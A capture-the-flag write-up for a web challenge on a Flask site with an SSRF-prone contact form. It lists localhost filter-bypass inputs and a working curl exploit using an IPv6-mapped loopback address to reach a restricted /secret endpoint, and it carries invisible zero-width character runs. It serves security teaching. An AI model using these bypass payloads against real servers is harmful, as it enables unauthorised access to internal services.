← Back to Writeups
CUSTOMMediumWeb

Квантовый прорыв (Quantum Breakthrough)

XESXOR9/10/20263 min read
#web#custom#medium#ssrf_via_contact_form#ssrf_filter_bypass_ipv6_mapped#internal_port_discovery#localhost_restricted_endpoint_#linux

Квантовый прорыв (Quantum Breakthrough)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-02 | Status: Solved Techniques: ssrf_via_contact_form, ssrf_filter_bypass_ipv6_mapped_ipv4, internal_port_discovery, localhost_restricted_endpoint_access

Summary

Task: Flask web app with contact form that fetches user-supplied URLs (SSRF), /secret endpoint restricted to localhost. Solution: bypass SSRF filter using IPv6-mapped IPv4 address [::ffff:127.0.0.1]:8000 to access localhost-only /secret endpoint containing the flag.

Квантовый прорыв (Quantum Breakthrough) — hackerlab

Description

Мы наткнулись на подозрительный ресурс компании Quantum Systems, которая занимается производством квантовых компьютеров. Нам поручили проверить безопасность этого ресурса. Будущее квантовых компьютеров в твоих руках.

English summary: A corporate website for "Quantum Systems" (quantum computer manufacturer). The site has a contact form that accepts a URL field and fetches it server-side. A hidden /secret endpoint is restricted to localhost access only. The goal is to exploit SSRF to access the restricted endpoint and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Tech Stack

  • Flask/Werkzeug 3.1.3, Python 3.9.18
  • Running in Docker container
  • Flask listening internally on port 8000, exposed externally on port 16059

Reconnaissance

  1. Website pages: / (main), /about, /products, /contacts
  2. The /contacts page has a feedback form with fields: name, url (website), message
  3. When the form is POSTed, the server makes an HTTP request to the user-supplied URL and returns the response as base64 in JSON: {"response":"<base64_encoded_content>"}
  4. Endpoint enumeration revealed /secret returns HTTP 403 "Access Denied" — restricted to localhost access only ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SSRF Filter Analysis

The application has a text-based SSRF filter that blocks common localhost representations:

InputResult
127.0.0.1Blocked — "Обнаружена попытка SSRF-атаки"
localhostBlocked
0.0.0.0Blocked
URL-encoded %31%32%37%2e%30%2e%30%2e%31Blocked
file:// protocolRejected — "URL должен начинаться с http:// или https://"
Hex IP 0x7f000001Passes filter but "ресурс недоступен" (wrong port)
Octal 0177.0.0.1Passes filter but unreachable
Decimal 2130706433Passes filter but unreachable
Short 127.1Passes filter but unreachable
IPv6 [::1]Passes filter but unreachable
[::ffff:127.0.0.1]Bypasses filter AND resolves correctly
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key insight: alternative IP representations that pass the text filter fail because they connect to the wrong port (default 80). The internal Flask app runs on port 8000.

Solution

Vulnerability: SSRF (Server-Side Request Forgery)

The /contacts endpoint performs server-side HTTP requests to user-controlled URLs without adequate validation.

SSRF Bypass: IPv6-Mapped IPv4 Address

The bypass uses [::ffff:127.0.0.1] notation which:

  1. Bypasses the text-based SSRF filter (doesn't match blocked patterns)
  2. Still resolves to the loopback interface
  3. Combined with the correct internal port :8000, reaches the Flask app ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

bash
curl -s -X POST http://62.173.140.174:16059/contacts \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'name=test&url=http://[::ffff:127.0.0.1]:8000/secret&message=test'

Raw HTTP request:

POST /contacts HTTP/1.1
Host: 62.173.140.174:16059
Content-Type: application/x-www-form-urlencoded

name=test&url=http://[::ffff:127.0.0.1]:8000/secret&message=test

The server responded with JSON containing the base64-encoded content of /secret, which when decoded revealed the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍